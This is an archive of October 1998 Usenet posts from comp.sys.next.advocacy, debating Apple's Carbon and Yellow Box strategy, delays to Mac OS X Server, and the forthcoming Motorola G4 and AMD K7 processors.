In article <6vl939$69u@shelob.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> I wonder if his testimony will be limited to Apple matters? I thought he
> joined Apple after some of the events the DOJ is investigating. Maybe there
> was some funny business with Microsoft going back to NeXT days?
I think it has to do with the accustiona that MS tried to keep(asked) AAPL
to stay out of the windoze Multimedia market.
Peter
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Date: Wed, 14 Oct 1998 10:22:33 -0500
Organization: Ericsson North America Inc.
Message-ID: <3624C1B9.F1B81B2F@ericsson.com>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net> <6vrntr$548@news1.panix.com> <36224472.CEDA184B@ericsson.com> <701cmv$6bk@news1.panix.com>
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Sal Denaro wrote:
> So any OO framework that runs under Carbon, and can generate code that is
> aware of the APIs for taking advantage of YB under MacOSX fits your
> definition.
>
> What you are sugesting now isn't a tool for porting.
>
> More importantly, there is an awful catch-22 in your idea. In order to use
> that as a porting tool, you first have to port your code to it. After doing
> that, you port _twice more_ (once for each platform). If you decide to make
> it easier on yourself, you stick the union of those functions that belong
> to both OSes, you end up not taking advantage of the full features that belong
> to each OS. But wasn't that the goal of your hypotechical tool in the first
> place?
I don't know how you came up with all that, since I never described what
I was talking about (indeed, said very little about). But since you
obviously know what I meant better than I do, why stop here? Run with
it.
[cut]
> Don't you think that it is pretty close? Carbon is a two way porting tool
> that does the very thing you advocated, build native Apps on both MacOS
> and Rhapsody.
No, it's not close. Carbon is not a two-way porting tool, it's a
revision to an API that allows a new underlying implementation in order
to gain new features invisibly. It's an adjustment, not a port. Carbon's
ability to accomodate cross-platform capabilities is severely
restricted, and a second Carbon-like update to the Toolbox is highly
unlikely.
Carbon pretty much gives the Toolbox enough breathing room to adapt to
the new kernel and OS, and to take advantage of PMT and PM. That is fine
as far as it goes, but it's a far cry from providing, on top of that,
the ability to address robust services like AppKit and FoundationKit.
What did you mean by "two-way porting tool"? Does Carbon allow you to
port YB software to the Toolbox? It's not even a one-way porting tool;
it doesn't allow you to port from Toolbox to YB. All it does is allow
Toolbox to be intelligently, natively implemented on a new OS and
kernel.
> >> And how are you going to convince Mac ISVs to port to a new API when
> >> Apple couldn't convince them to port to YellowBox?
> >Read my original post.
>
> You didn't answer it, you dodged it like you are doing now.
I still won't answer it, because I can't! The question doesn't make a
bit of sense. I'm not asking ISVs to port to anything. Again, read the
original post. If you're not going to pay attention to a thing I say,
how do you think it makes you look when you insist on answers?
> It has the disadvantage of being a real product, and therefore limited
> by reality. I don't see any advantage of porting code three times to
> ship it as a native app on two platforms as opposed to porting it once
> to ship it as a native App on two platforms.
You're again comparing apples with oranges. I don't know why I have to
be the one to explain to you the difference between using a porting
*framework* and actually performing a port. And I'm not.
I'd be less frustrated if you didn't pretend to work in a profession
that would require familiarity with these concepts. In the past you've
claimed to work on porting between X Windows and Windows NT, so I guess
I just assumed you had hands-on experience with this stuff. For
instance, I would assume you had more than a passing understanding of
software tools and concepts like UIM/X and Wind/U, basic UIL, API
layering, and encapsulation. As a consequence, I would assume you
understood the differences between two layers of abstraction (for
instance, UIL and actual Motif C-language code). If you think that using
UIL to rev an existing Motif program can be called a "port", you are
definitely not what you claimed to be.
It would be one thing if you said "you never described what you were
talking about, can you go into some detail now?", or "what you mentioned
sounded a lot like Carbon. What's different?", or "I don't see how what
you mentioned could have been successful, given the last year's track
record. How, exactly, would you expect it to work, or failing that, how
have you revised your opinions?" That would be real conversation. To
date, I haven't seen anything like that on this subject. All I've seen
so far is a page out of the Maury Markowitz School of Context-Free
Posting; all of a sudden, words like "port" and "framework" mean
anything you'd like for them to mean, and every few paragraphs there's
this insidious attempt to draw attention to past remarks I've made so as
to trip up later commentary, ignoring the fact that they were on a
completely different subject, or in a different context, or made as much
as a year ago under entirely different circumstances.
> >I don't understand what you're saying. Are you suggesting that the NeXT
> >purchase was a mistake?
>
> No, letting Apple fall apart to the point where they had to buy NeXT and
> had the company over to Jobs was a mistake.
These conversations are like lifting water with a knife. I still don't
know what you're saying, and I'm done talking to a wall. I'd be glad to
have a conversation if you know what you want to say and want to
discuss, or even if you have a simple question to ask. But I'm not going
to continue this, where you appear intent on simply foiling anything
I've said within the past year, quoting out of context and extrapolating
from random comments.
MJP
From: group-admin@isc.org (David C Lawrence)
Newsgroups: comp.sys.next.advocacy
Subject: cmsg newgroup comp.sys.next.advocacy
Control: newgroup comp.sys.next.advocacy
Message-ID: <908413539.3341@isc.org>
Date: Thu, 15 Oct 1998 01:05:39 -0000
ftp://ftp.isc.org/pub/pgpcontrol/README
iQCVAwUBNiVKZMJdOtO4janBAQEocAP/fpudZnBC4pdGLJ75wT4IbOJPMiJwZjrd
cxGFgaQxRORyDQJQCbzjTCyhfIG/lWdxfzmOsY1ZNwpEciWhOA3OA3tjEZ6TI+Ev
eChkx4PWhhZSpopZnyCCUwkCfbrbG2E087fKTSTDRrplkwUToL36Yis2C/ewaMo2
xu+06h+gwt8=
=QKSr
comp.sys.next.advocacy is an unmoderated newsgroup which passed its vote for
creation by 368:99 as reported in news.announce.newgroups on 15 Apr 1992.
For your newsgroups file:
comp.sys.next.advocacy The NeXT religion.
The charter, culled from the call for votes:
This group is a forum for:
1. Discussion of (and providing feedback on) NeXT Policy
2. Speculations concerning NeXT's future
3. Expressing strong, perhaps unpopular opinions
4. Long, philosophical (or unanswerable) discussions
From: "Jennifer Smith" <jsmith@deleteme.gnyg.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Top G3 Config. Hardware/Software Q:
Followup-To: comp.sys.mac.advocacy
Date: 15 Oct 1998 02:21:59 GMT
Organization: Best of the Best
Message-ID: <703m87$3fb@news.vbe.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Keywords: PowerPC G3, Mac OS X, Mac OS X Server, RAM, Limit
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY
Hi!
Can someone please point out if there is a flaw in my understanding and
thinking. This is a very seriously inquiry and not a trick or leading
question to goat anyone into a flame fest or a troll trampling.
I want to support magnificent and superior Apple hardware. However, when
looking into Apple's top systems (end-user and server), I was shocked to
learn that for the G3 line there is a board level limit of 384 MB's of RAM.
What's up with this? I sense a fatal flaw here regardless of how much
caching one wishes to brag about or how many PII's we toast. How could this
be especially with Mac OS X Server and Mac OS X on the horizon which are
suppose to be industrial strength? Am I missing something simple here?
There would be nothing like putting an great operating system on a piece of
hardware which is so limited. What's a woman to do in this case - wait for
deliverance?
I welcome any clarifying feedback and thoughts anyone can provide. Direct
replies are preferred.
Ciao,
Jennifer Smith
From: "Jennifer Smith" <jsmith@deleteme.gnyg.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.benchmarks,comp.sys.next.software
Subject: Mac OS X Server Benchmarks and Boundaries
Followup-To: comp.sys.mac.advocacy
Date: 15 Oct 1998 02:43:10 GMT
Organization: Best of the Best
Message-ID: <703nfu$3fb@news.vbe.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY
Hi!
Let's for a moment set aside the all the following: Apple's marketing/focus
for Mac OS X Server, questiona about how Apple plans to gain marketshare
facing off with FreeBSD, free Linux, NT, Solaris or whoever, how much will it
cost, what applications will be available for it or not, what you may object
to or not about the inclusion of a Command-Line-Interface (CLI), whether the
open source initiative should have been a path Apple opted for, or finally,
the proposed plan to not support NXhosting, Display Postscript, and Intel
hardware beyond CR1. I have what I hope to be two straightforward questions
to ask and welcome all comments.
1) What are the boundaries (limitations in today & tomorrow's landscape), if
any, of Mac OS X Server as an operating system and environment? What will
Mac OS X Server lack?
For example, and even though people continued to buy the various upgrades, we
knew that the Mac OS 8.5 and below will be more vunerable to crashing. Add
to this the fact that these previous Mac OS'es don't have a clue about such
things as pre-emptive multitasking and multi-threading when they were
delivered. We know that while Mac OS 8.x and below didn't seem to have a
Y200 problem, Windows programming does and has to clean them up. Even though
Mac OS X Server won't have this type of problem for more than a few
millennium to come if I understand Mach/BSD 4.4 correctly.
2) How, and based on what benchmarks is Mac OS X Server performance going to
be tested against? What software/hardware tool(s) will be used? Here I
believe there have traditional been Mac Bench, ByteMarks, and NXBench.
I am sure there are much better examples of what I am trying to convey. But
even if I have failed to entirely hit the mark with the examples provided,
they are not the focus here but the questions. Please keep in mind that I am
not inquiring about what is proposed for Mac OS X but the operating system
Apple plans to deliver sometime before the end of the year - Mac OS X Server.
I make this clarification even in light of the fact that I have heard any
number of people from Apple misuse the two by clump them as one or
interchanging them. Since this has not officially shipped at the time of
this post, I understand how responses will likely be speculative in nature.
I will post a compilation of answers for all those who send direct replies
and give permission. This is not an offshot of the "What is Mac OS X
Really?" thread, but I can see where somebody could confuse my questions with
this one.
Direct replies are very much appreciated.
Ciao
Jennifer Smith
From: klui@cup.hp.com (Ken Lui)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X server delays
Date: 15 Oct 1998 03:16:04 GMT
Organization: Hewlett-Packard Company
Message-ID: <703pdk$ft7$1@ocean.cup.hp.com>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com> <361D0F2A.22B8@earthlink.net>
In article <361D0F2A.22B8@earthlink.net>,
Steve Kellener <skellener@earthlink.net> wrote:
>Alex Kac wrote:
>I'm hoping they'll put back in the good ol' NeXT File Viewer myself.
>Then you won't need a "Finder".
Having used NeXT OSes since '89, I still don't like to do file management
using its Workspace. Just looking around is great using the browser
view but I really like the way MacOS allows me to do do copies, moves,
and new functionality of 8.5. Using the Workspace wasn't fluid enough
and the mouse acceleration didn't feel right--more like molasses, despite
customizing the mouse settings using dwrites.
Ken
--
Ken Lui 19111 Pruneridge Avenue M/S 47UW
klui@cup.hp.com Cupertino, CA 95014-0795 USA
Information Solutions & Services 1.408.447.3230 FAX 1.408.447.5929
Views within this message may not be those of the Hewlett-Packard Company
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.benchmarks,comp.sys.next.software
Subject: Re: Mac OS X Server Benchmarks and Boundaries
Date: 15 Oct 98 02:48:59 -0600
Organization: ICGNetcom
Message-ID: <B24B1325-13DAA8@204.31.112.109>
References: <703nfu$3fb@news.vbe.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Cc: jsmith@gnyg.com
nntp://nntp.ix.netcom.com/comp.sys.mac.hardware,
nntp://nntp.ix.netcom.com/comp.sys.mac.hardware.misc,
nntp://nntp.ix.netcom.com/comp.sys.next.advocacy,
nntp://nntp.ix.netcom.com/comp.benchmarks,
nntp://nntp.ix.netcom.com/comp.sys.next.software
On Wed, Oct 14, 1998 8:43 PM, Jennifer Smith
<mailto:jsmith@deleteme.gnyg.com> wrote:
>NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY
>
>Hi!
>
>Let's for a moment set aside the all the following: Apple's
marketing/focus
>for Mac OS X Server, questiona about how Apple plans to gain marketshare
>facing off with FreeBSD, free Linux, NT, Solaris or whoever, how much will
>it
>cost, what applications will be available for it or not, what you may
object
>to or not about the inclusion of a Command-Line-Interface (CLI), whether
>the
>open source initiative should have been a path Apple opted for, or
finally,
>the proposed plan to not support NXhosting, Display Postscript, and Intel
>hardware beyond CR1. I have what I hope to be two straightforward
>questions
>to ask and welcome all comments.
>
>1) What are the boundaries (limitations in today & tomorrow's landscape),
>if
>any, of Mac OS X Server as an operating system and environment? What
>will
>Mac OS X Server lack?
>
The main limitation from the perspective of current MacOS users (as I see
it...), is that existing Mac apps will not benefit from the core modern OS
features (pre-emptive multitasking, etc.), but will 'only' run as-is in the
so-called Blue Box, in a kind of 'MacOS emulation' mode. This is why I
suspect that many in the Mac camp will be waiting for the later version(s)
of MacOS X due in the last half of 1999, with its access via the Carbon API
to the modern OS kernel for most current Mac apps (with some
development/'tweaking' required....).
In the near term, I would say that native (OpenStep/Yellow Box) application
support for MacOS X (Server or other....) will be sufficient for many, esp.
the early adopters who've been waiting for something like it from Apple
'lo, these many years', but that developer support may not be particularly
strong for awhile yet. And at this point, I think it's a bit too early to
guarantee that it will ever reach 'critical mass', even though I certainly
hope it does (and sooner rather than later; particularly since the user
benefits of OpenStep sound so amazing, from all I've heard....). I figure
it took Microsoft 2-3 years with NT before there was widespread app (and
hardware/driver) support ca. 1996-7, and it's rather unlikely that Apple's
new OS will be moving into the mainstream any more quickly than that (and
this in spite of all the nifty NeXT/OpenStep legacy apps and Unix tools,
the more open API, etc., that will be there at launch, in contrast to NT
starting virtually at 'ground zero' for native Win32 support in 1993, I
would still say).....
If the primary intent is to use OS X Server purely _as_ a server OS,
however, it will benefit from being 'BSD Unix ready' pretty much right out
of the box, I would guess..... In addition, advanced apps and tools for an
OpenStep-based server, such as WebObjects, already exist and have proven
themselves in the industry.
In fact, the former (BSD-readiness) could also be a long-term benefit of OS
X Server _as_ a server OS vs. the later versions of OS X, if Apple 'hides'
the underlying Unix to the point of disabling access to it (whether via GUI
or CLI....) in the later general consumer release(s), as some commentators
have murmured/worried/rumored they might.....
The most severe limitations of the OS X environment are on the hardware
side, in my opinion: namely, that at present, 1) Apple apparently has no
long-term strategy for MacOS X on Intel beyond CR1 ('MacOS X Server'), and
2) no nearer-term long-term strategy for supporting the consumer release
version(s) of MacOS X on anything but the newer G3/G4 PowerPC Apple
hardware. (Maybe it will still run on older PowerPC Macs without 'official
support' from Apple; then again, maybe it won't....)
Thus, OS X appears to be destined for a
'niche-within-a-niche(-within-a-niche)' high-end target audience from the
start, hardware-wise, and will likely turn into a more expensive OS upgrade
if new Apple hardware purchases are involved a year from now, adding to
TCO, etc....
No doubt it will still be _very_ price-competitive with Sun/Solaris or
RS6000/AIX solutions for hardware and OS software, but not everybody is
their own Fortune 500 company so as to be in that kind of a market, further
fuelling the fires of the free Unixen and even NT by comparison, among the
price-conscious businesses and individual/SOHO 'power users' of the
computing world <*commence plebian grumblings amongst 'the rest of us'
[sic]*>.....
[....]
>
>2) How, and based on what benchmarks is Mac OS X Server performance
>going to
>be tested against? What software/hardware tool(s) will be used? Here I
>believe there have traditional been Mac Bench, ByteMarks, and NXBench.
>
No specific ideas here (except that ByteMarks should still work...), but
what I think will ultimately be _really_ interesting about MacOS X Server
(vs. the later versions, as things now stand.....), is to finally see how
Intel-based and PowerPC-based hardware perform when running under the same
(or at least a fundamentally similar) OS.....
Then again, I'm posting this from one of the *.advocacy groups, so I'm sure
we'll be hearing all about it, whether it's 'really interesting' or
not..... ;-)
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <7047np$3o5$1@shiva.direcpc.com>
Control: cancel <7047np$3o5$1@shiva.direcpc.com>
Date: 15 Oct 1998 08:16:20 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.7047np$3o5$1@shiva.direcpc.com>
Sender: kenmant@autiful.nu
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 14 Oct 98 14:05:36
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Oct14140536@slave.doubleu.com>
References: <361A8410.B34ABC12@ericsson.com> <6vlcf9$ckm$1@gaea.omnigroup.com>
In-reply-to: toon@omnigroup.com's message of 9 Oct 1998 16:09:13 GMT
In article <6vlcf9$ckm$1@gaea.omnigroup.com>,
toon@omnigroup.com (Greg Titus) writes:
I'm not sure if Apple still owns the old NeXT offices
Was in the area a couple weeks ago to sail with a ex-NeXT person, and
the offices have been stripped, presumably in preparation for a new
tenant.
for several years they had (have?) an upstairs hallway full of
machines running historic operating system releases.
From what I've heard, the offices were cleaned out quite some time ago
of memorabilia. No doubt the more interesting machines developed legs
and walked away...
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: NEWS.COM article on CPU marketshare
Message-ID: <1998Oct12.203847.2661@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <3616786A.6ADF@southwind.net>
Date: Mon, 12 Oct 1998 20:38:47 GMT
In article <3616786A.6ADF@southwind.net> jmz@southwind.net writes:
[snip]
> FWIW I have run NS/OS on all four platforms and Sparc was probably the
> most hassle-free.It loaded and ran fine,as easily as on black
> hardware,and as fast as Intel.Just for ease of use,I've had great luck
> with Suns once I learned their little eccentricities.
I've had the same experience. I've always thought it odd that NS/OS
installed easier on a Sparc 5 / 10 / 20 than on a Black Box (no boot disk
to use, and it's as plug-n-play as you can get...) and way better (for
obvious reasons) than on Intel.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: qkmysroxtina@europe.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.atari,comp.sys.atari.advocacy,comp.sys.atari.programmer,comp.sys.atari.st,comp.sys.atari.st.tech,comp.sys.atari.8bit,comp.sys.apple2,comp.sys.apple2.usergroups
Subject: America's #1 Hottest Phone Talk!
Date: 15 Oct 1998 17:59:00 GMT
Organization: Another Netscape News Server User
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Date: Wed, 14 Oct 1998 14:57:57 -0500
From: alex@WebIS.net (Alex Kac)
Mail-Copies-To: alex@WebIS.net
Subject: Re: Mac OS X server delays
Message-ID: <alex-1410981457570001@cs48-8.austin.rr.com>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com> <361D0F2A.22B8@earthlink.net> <alex-0910981100530001@cs48-17.austin.rr.com> <6vssuu$9n2$1@wbnws01.ne.highway1.com> <6vtl94$irm$1@msunews.cl.msu.edu>
Organization: Web IS
Newsgroups: comp.sys.next.advocacy
In article <6vtl94$irm$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
>I mean
>if you have a favorite directory you like to pop into, or your
>working on just drop it in the dock at the top of the viewer.
If you have 40 directories that you work in often, this doesn't help.
Popup icons in the Mac finder, pop-up windows do.
>
>Perhaps Alex is commenting that ..step doesn't 'remember'
>which directory you were last in. I'd have to log out and
>in again to check, but if you have more than one view open
>I do think subsequent browsers remember where you were at the
>last time you logged out. Why the first view always takes
>one home is a mystery to me.
No its just a pain to have to browse through things all the time to get to
files that are well organized.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Everyware Alliance Member
http://www.WebIS.net
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Thu, 15 Oct 1998 16:21:00 -0400
Organization: Anderson Financial Systems Inc.
Message-ID: <705lfm$9db@shelob.afs.com>
References: <6vlct5$n66$1@nnrp1.dejanews.com> <B24B8EF5-877E9@24.94.7.176>
William V. Campbell Jr. wrote in message ...
>MacOS X Server is late! So what.....know one gave you an
>exact date...did they!!
>By my calendar it is still the Fall season. Just hold on and your
>impatience will be unjustly rewarded. :-)
The last time anyone from Apple speculated publicly about a delivery date
for Server, it was at MacWorld/NYC (which incidentally is where the name
change was announced). At that time, customer shipment was expected by the
end of the third quarter, which by *my* calendar was 15 days ago...
The real problem was outlined by Aaron Goldberg in this week's PCWeek:
"Apple has to rebuild its major accounts team and do the things that major
accounts need. The fits and starts of Rhapsody, Blue Box, Yellow Box and
OS/X are an IT planner's nightmare. This kind of amateurish "plan du jour"
does not endear the company to the IT customer."
Full text is at
http://www.zdnet.com/pcweek/stories/columns/0,4351,357990,00.html
Greg
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Motorola's G4 PowerPC
Date: 15 Oct 1998 21:17:49 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <705opt$5ms@newsb.netnews.att.com>
Originator: gupta@tlctest
Motorola made a presentation about the G4 PowerPC at the Microprocessor
Forum yesterday (Oct. 14) but it hasn't made the news; the first item
was a brief quote from Henry Knorr at the MacCentral website;
the second is at :
http://webserv.vnunet.com/www_user/plsql/pkg_vnu_homepage.homepage
and follow the link.
"Microprocessor Forum : Motorola G4 on course for mid-1999 production"
by Tony Smith
Motorola PowerPC project manager Paul Reed is quoted as saying :
a. the new chip will offer between 10 and 15 times the performance of
the current PowerPC 750 (at doing what???)
b. It will be aimed at the embedded market as well as Apple's market.
c. It is the first Altivec PowerPC.
d. The G4 supports between 512 KBytes and 2 MB of backside L2 cache,
connected via 64-bit or 128-bit buses.
e. "Multiple G4s can access each other' caches" offering improved
multi-processing performance.
f. 0.2micron, copper process, 83mm * 83 mm die, 10.5 million transistors
< 8W at 400 MHz.
Nothing added to Knorr's notes.
-arun gupta
Subject: Re: OSXS is late
From: "William V. Campbell Jr." <wcampbe1@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <6vlct5$n66$1@nnrp1.dejanews.com>
MIME-Version: 1.0
Message-ID: <B24B8EF5-877E9@24.94.7.176>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Date: 15 Oct 98 11:37:22 -0700
NNTP-Posting-Date: Thu, 15 Oct 1998 11:35:41 PDT
Organization: TWC Road Runner, San Diego, CA
MacOS X Server is late! So what.....know one gave you an exact date...did
they!!
By my calendar it is still the Fall season. Just hold on and your
impatience will be unjustly rewarded. :-)
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <rbarris-ya023280001510981457170001@206.82.216.1>
References: <705opt$5ms@newsb.netnews.att.com>
Organization: Quicksilver Software, Inc.
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Date: Thu, 15 Oct 1998 14:57:17 -0700
NNTP-Posting-Date: Thu, 15 Oct 1998 14:56:31 PDT
In article <705opt$5ms@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> a. the new chip will offer between 10 and 15 times the performance of
> the current PowerPC 750 (at doing what???)
Clearly this is a reference to AltiVec; while it would be nice to see
all integer codes going 10-15 times faster, this is probably what he's
talking about: AltiVec-enabled codes for specific problems.
I am sure there are some classes of video and signal processing
algorithms that can gain an order of magnitude boost from using AltiVec,
anything that was previously handling one byte at a time might now be able
to handle 16 bytes in parallel, in one instruction (depending on data type
and the operations involved). YMMV..
Rob
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: AMD K7 info Re: Motorola's G4 PowerPC
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
References: <705opt$5ms@newsb.netnews.att.com>
Message-ID: <36267547.0@news.depaul.edu>
Date: 15 Oct 98 22:20:55 GMT
In comp.sys.next.advocacy gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Motorola made a presentation about the G4 PowerPC at the Microprocessor
> Forum yesterday (Oct. 14) but it hasn't made the news; the first item
> was a brief quote from Henry Knorr at the MacCentral website;
In other news, AMD released info on their new K7, which is available
at their website. Among other interesting tidbits, it'll start
at 500 MHz, will use the Alpha slot architecture, and will be
AMD's first chip to support multi-processing. It is apparently
a different architecture from x86, but will run x86 instructions.
Might not be as fast as the G4, but should make a nice, fast,
and affordable Intel alternative. If Apple ever supports an
OS/X variant on Intel with SMP, a K7 box could be pretty nice.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: nospam@nospam!.kom (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: Thu, 15 Oct 1998 23:23:21 GMT
Organization: The Ohio State University
Message-ID: <36267a3b.39375399@nntp.service.ohio-state.edu>
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu>
On 15 Oct 98 22:20:55 GMT, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>In comp.sys.next.advocacy gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
>> Motorola made a presentation about the G4 PowerPC at the Microprocessor
>> Forum yesterday (Oct. 14) but it hasn't made the news; the first item
>> was a brief quote from Henry Knorr at the MacCentral website;
>
>
>In other news, AMD released info on their new K7, which is available
>at their website. Among other interesting tidbits, it'll start
>at 500 MHz, will use the Alpha slot architecture, and will be
>AMD's first chip to support multi-processing. It is apparently
>a different architecture from x86, but will run x86 instructions.
>
>Might not be as fast as the G4, but should make a nice, fast,
>and affordable Intel alternative. If Apple ever supports an
>OS/X variant on Intel with SMP, a K7 box could be pretty nice.
I predict it will be faster than the Mac version of the G4. Before
you get all wild and crazy on me, read my signature quote and realize
that I know that anything can happen in the future.
However, I do base my opinion on several reported "facts" from news
releases (bearing in mind again that the "facts" from news releases
don't always turn out to be the entire truth).
From: http://www.news.com/News/Item/0,4,27484,00.html?st.ne.ni.lh
(1) The K7 will initially run at speeds of at least 500 Mhz
(first-half of 1999)
(2) By 2000 it will run at 1000 Mhz
(3) It will run on a 200 Mhz bus initially
(4) It may eventually run at bus speeds of 400 Mhz
(5) It will support up to 8 MB of L2 cache (that is not a typo)
From: http://www.amd.com/products/cpg/k7/pres/pres3.html
(this web site has a lot of the processor details)
(6) It will have 128 KB of L1 cache
(7) It will support 3DNow! instructions
From: October, 1998 Maximum PC:
(8) AMD claims it will "be the highest performing [x86] processor, in
both integer and floating point."
From: http://www.eet.com/story/OEG19981014S0029
(9) It will have 22 Million transistors
(10) Up to 72 separate X86 instructions can be "in flight"
either in instruction dispatch or retirement at any one time.
Compare these numbers with the very preliminary rumours for the G4 at
http://www.macintouch.com:
(5) maximum of 2 MB L2 cache
(7) AltiVec (probably better than 3DNow!)
(9) 10.5 million transistors
I'll definitely take a good look at the K7 when I buy a new computer
in about a year. Of course, being a Windows advocate, I'm predisposed
in that direction anyway ;-)
-Steve
*The only thing certain about the future is that it hasn't happened yet.*
Message-ID: <36268A98.FED2648E@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu>
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NNTP-Posting-Date: Thu, 15 Oct 1998 19:52:30 EDT
Organization: ISPNews http://ispnews.com
Date: Thu, 15 Oct 1998 18:51:52 -0500
Steve wrote:
[cut]
> I'll definitely take a good look at the K7 when I buy a new computer
> in about a year. Of course, being a Windows advocate, I'm predisposed
> in that direction anyway ;-)
I also think that the K7 will be a very competitive chip, in terms of
performance; it will almost certainly outrun Intel's IA-32 chips during
the first year of its lifetime. However, I did see some commentary
regarding the large die size required for the process; one may have to
rethink one's thoughts on AMD as the "low-cost alternative". While I
expect AMD to succeed in its stated objective of pricing its chips well
below competing chips of comparable performance, with the K7 AMD is
probably moving into the higher-performance, higher-margin range Intel
currently occupies, which means that K7 performance is going to come at
a significant price tag. In view of Cyrix's new offerings, and as Jerry
Sanders' continues to stress that AMD needs better margins on chips, I
think that AMD is probably going to exit the low-cost market within the
next few years.
All in all that's good news. It means that AMD is shedding its image as
an x86 cloner and becoming a genuine 800-pound gorilla in the x86
market. Despite the inevitable short-term price increases, it means
better price/performance value for all of us in the long run.
MJP
From: "Mark Bessey" <mbessey@apple.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Thu, 15 Oct 1998 16:53:53 -0700
Organization: Apple Computer, Inc
Message-ID: <706215$fim$1@news.apple.com>
References: <361A8410.B34ABC12@ericsson.com>
<6vlcf9$ckm$1@gaea.omnigroup.com> <SCOTT.98Oct14140536@slave.doubleu.com>
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----------
In article <SCOTT.98Oct14140536@slave.doubleu.com>, scott@nospam.doubleu.com
(Scott Hess) wrote:
>In article <6vlcf9$ckm$1@gaea.omnigroup.com>,
> toon@omnigroup.com (Greg Titus) writes:
> for several years they had (have?) an upstairs hallway full of
> machines running historic operating system releases.
>
>From what I've heard, the offices were cleaned out quite some time ago
>of memorabilia. No doubt the more interesting machines developed legs
>and walked away...
Actually the NeXT museum is alive and well down the hall from the Mac OS X
"Core OS" department (my favorites are the Sun 3 running 0.7, and the NRW
prototype).
-Mark
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 16 Oct 1998 04:13:03 GMT
Organization: University of Maryland, College Park
Message-ID: <706h4f$l1p$1@hecate.umd.edu>
